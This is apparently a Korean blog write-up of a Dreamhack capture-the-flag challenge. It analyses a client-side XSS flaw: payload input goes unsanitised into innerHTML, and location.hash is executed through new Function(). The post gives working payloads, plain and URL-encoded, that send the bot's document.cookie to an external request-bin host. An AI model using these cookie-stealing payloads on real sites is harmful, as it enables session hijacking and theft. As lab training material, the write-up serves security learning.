easy client side

2026. 2. 3. 22:40·Dreamhack 워게임/Lv.1
반응형

문제 설명

client side를 연습해봐요!


코드 분석

app.py

cookie.update({"domain": "127.0.0.1"})
  • 도메인이 127.0.0.1로 제약되어 있음
  • 쿠키가 127.0.0.1일 때만 살아있음 → xss도 127.0.0.1에서 실행되어야 쿠키 획득 가능
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
  • 봇이 flag 쿠키를 가진 상태로 payload URL을 염
  • XSS만 성공하면 document.cookie로 플래그 읽기 가능
def check(payload, cookie={"name": "name", "value": "value"}):
    return urlread(payload, cookie)
  • check함수가 호출되면 urlread 함수로 가 payload랑 cookie전달
@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "GET":
        return render_template("report.html")
    elif request.method == "POST":
        payload = request.form.get("payload")
        if not check(payload, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("nope!");history.go(-1);</script>'
        return '<script>alert("nice!");history.go(-1);</script>'
  • /report페이지는 payload를 이용자로부터 입력받음
  • 입력받고 payload랑 cookie값 check함수로 전달

templates / xss.html

const p = new URLSearchParams(location.search).get('payload');
        if(p) {
            document.getElementById('c').innerHTML = p;
        }
  • payload가 필터링 없이 innerHTML로 들어감 
  • innerHTML은 <script> 태그가 안 먹히니 우회해야 함
const h = location.hash.slice(1);
        if(h) {
            const e = document.querySelectorAll('[data-code]');
            if(e.length > 0) {
                const code = Array.from(e).map(el => el.getAttribute('data-code')).join(';');
                new Function(code + ';' + h)();
            }
        }
  • data-code 요소가 하나라도 있으면 # 뒤 코드가 강제로 실행됨
  • 따라서 payload에 <div data code=""> 만 심어도 hash 기반 실행이 가능

취약점 분석

  • payload를 innerHTML로 그대로 삽입
  • 사용자가 입력한 URL을 그대로 봇이 방문
  • location.hash를 new Function()으로 직접 실행 → data-code속성 가진 요소가 하나라도 있으면 실행됨.

익스플로잇

<script> 태그는 사용이 불가능하니 <img> 태그를 이용.(쿠키를 안전하게 전달하기 위해 encodeURICompoent() 이용)

<img src=x onerror="location.href='https://igfffff.request.dreamhack.games/c='+encodeURIComponent(document.cookie)">

 

따라서 총 페이로드는

http://127.0.0.1:8000/xss?payload=%3Cimg%20src%3Dx%20onerror%3D%22location.href%3D'https%3A%2F%2Figfffff.request.dreamhack.games%2F%3Fc%3D'%2BencodeURIComponent(document.cookie)%22%3E
  • < 나 > 같은 특수문자는 URL에서 예약 문자라서 그대로 넣으면 브라우저/서버가 URL을 잘못 파싱 할 경우가 생김
    따라서 URL 인코딩을 해준후 작성해줘야 함


출제자 의도

아마 <div> 태그를 써서 풀어야 했을 것이다.

http://127.0.0.1:8000/xss?payload=<div data-code=""></div>#<JS>

<JS> 부분에 실행할 JS부분을 넣어주면 된다.

http://127.0.0.1:8000/xss?payload=<div data-code=""></div>#location.href='https://igfffff.request.dreamhack.games/?c='+encodeURIComponent(document.cookie)
  • payload로 data-code 가진 요소를 넣어서 해시 실행 조건을 만족시킴
  • # 뒤에 실행할 JS를 넣고
  • new Function(code + ; + h) 때문에 h가 실행된다.

위 페이로드도 URL 인코딩을 해서 작성해주면 된다.

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

Command Injection Advanced  (0) 2026.02.06
error based sql injection  (0) 2026.02.03
easy server side  (0) 2026.02.03
php-1  (0) 2026.02.02
image-storage  (0) 2026.02.02
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • Command Injection Advanced
  • error based sql injection
  • easy server side
  • php-1
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    JS
    alpacahack
    hacking
    드림핵
    CSRF
    webstudy
    webhacking
    DreamHack
    web
    LLM
    cve
    JavaScript
    xss
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
easy client side
상단으로

티스토리툴바